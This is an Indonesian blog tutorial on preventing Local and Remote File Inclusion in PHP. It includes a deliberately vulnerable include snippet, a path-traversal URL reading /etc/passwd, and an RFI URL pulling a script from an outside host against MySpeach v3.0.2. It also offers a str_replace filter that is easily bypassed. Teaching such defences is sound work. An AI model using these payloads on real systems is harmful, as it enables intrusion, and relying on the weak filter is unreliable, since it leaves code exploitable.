Tuesday, April 23, 2013

mengatasi LFI (local file inclusion) dan RFI (Remote file inclusion)


malam om.... 
ane dellacroug mau ngasih tutor lagi nie om...
karena postingan ane kemaren di indikasikan belum di sanitasi dari LFI dan RFI...
nah, di sini ane mau nepatin janji ane nie untuk memperbaiki postingan ane yang Membangun website bagian 2 thanks for om genta, om afika666, dan om-om lain yang ngasih kritik dan saran...

langsung aja ni ya..
apa sih itu LFI, dan RFI...??

LFI singkatan dari Local File inclusion, adalah kerentanan proses pada file yang di include atau dimasukkan pada server saat browsing. kerentanan ini terjadi saat file yang di include kan atau file masukan tidak di filterisasi dan di sanitasi script ny dan mengijinkan untuk mengaksses file lain dengan mudah.

contoh type script yang rentan dengan LFI ,

<?php
   $file 
$_GET['file'];
   if(isset(
$file))
   {
       include(
"pages/$file");
   }
   else
   {
       include(
"index.php");
   }
   
?>
pemanggilan link sebagai berikut
Quote:
http://example.com/index.php?file=contactus.php

nah alamat script diatas rentan dengan serangan dari orang2 yang tertarik dengan file-file lain... dan biasanya mereka menggunakan teknik LFI. contoh script dari penyerang...

Quote:
http://example.com/index.php?file=../../...etc/passwd

nah untuk pencegahan nya kita bisa menggunakan operator str_replace().
PHP Code:
str_replace ( $search , $replace , $subject)
//$search = adalah kata yang akan diganti;
//$replace = adalah kata2 penggantinya;
//$subject = adalah kaliamt atau phrase yang didalamnya termuat kata-kata yang akan diganti.
jadi script diatas maksudnya, saat attacker mencoba mengakses
Quote:
http://example.com/index.php?file=../../...etc/passwd
tidak akan bisa, karena ../ akan langsung diganti karakter kosong atau dihapus...

nah untuk yang RFI...
RFI atau remote file inclusion dapat diartikan menyisipkan sebuah program dari luar file dalam sebuah server dengan tujuan file yang dimasuki tersebut akan bekerja saat program inject tersebut dieksekusi,,,
dan program yang di inject tersebut bisa mengontrol server, bahkan bisa mengambil kedudukan sebagai admin root..

Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar
webserver dengan eksploit script injeksi PHP:
Quote:
http://www.target.com/[Script Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script?
Diatas adalah contoh eksploitasi MySpeach < = v3.0.2 (my_ms[root])

Cara terbaik untuk mencegah serangan RFI adalah untuk tidak pernah menggunakan data masukan seenaknya dalam file termasuk permintaan.

Mengambil contoh dari sebelumnya, cara yang lebih aman untuk menerapkan situs ini adalah dengan menggunakan sebuah array untuk memetakan parameter halaman dari link ke nama file yang sebenarnya di server:
PHP Code:
<?php

 $page_files=array( 'about'=>'about.html',

                    'photos'=>'photos.html',

                    'contact'=>'contact.html',

                    'home'=>'home.html'

                  );

 

if (in_array($_GET['page'],array_keys($page_files))) {

      include $page_files[$_GET['page']];

 } else {

      include $page_files['home'];

}

?>
nah jadi tetap dalam keamanan script kita harus sanitasi dan validasi agar para attacker tidak bisa masuk mengobrak abriknya... 

nah sekian mungkin tutor untuk mengatasi LFI dan RFI...
mungkin ada om-om yang mau nambahi saya persilahkan... 

referensi ane dari sini om..
1. http://www.esecurityplanet.com/browser-s...tacks.html
2. http://www.binushacker.net/remote-file-i...n-rfi.html
3. http://hakipedia.com/index.php/Local_File_Inclusion
4. http://translate.google.com/ 

insyaAlloh selanjutnya ane ke membangun website bagian 3...
 om...
 



Newer Post Older Post Home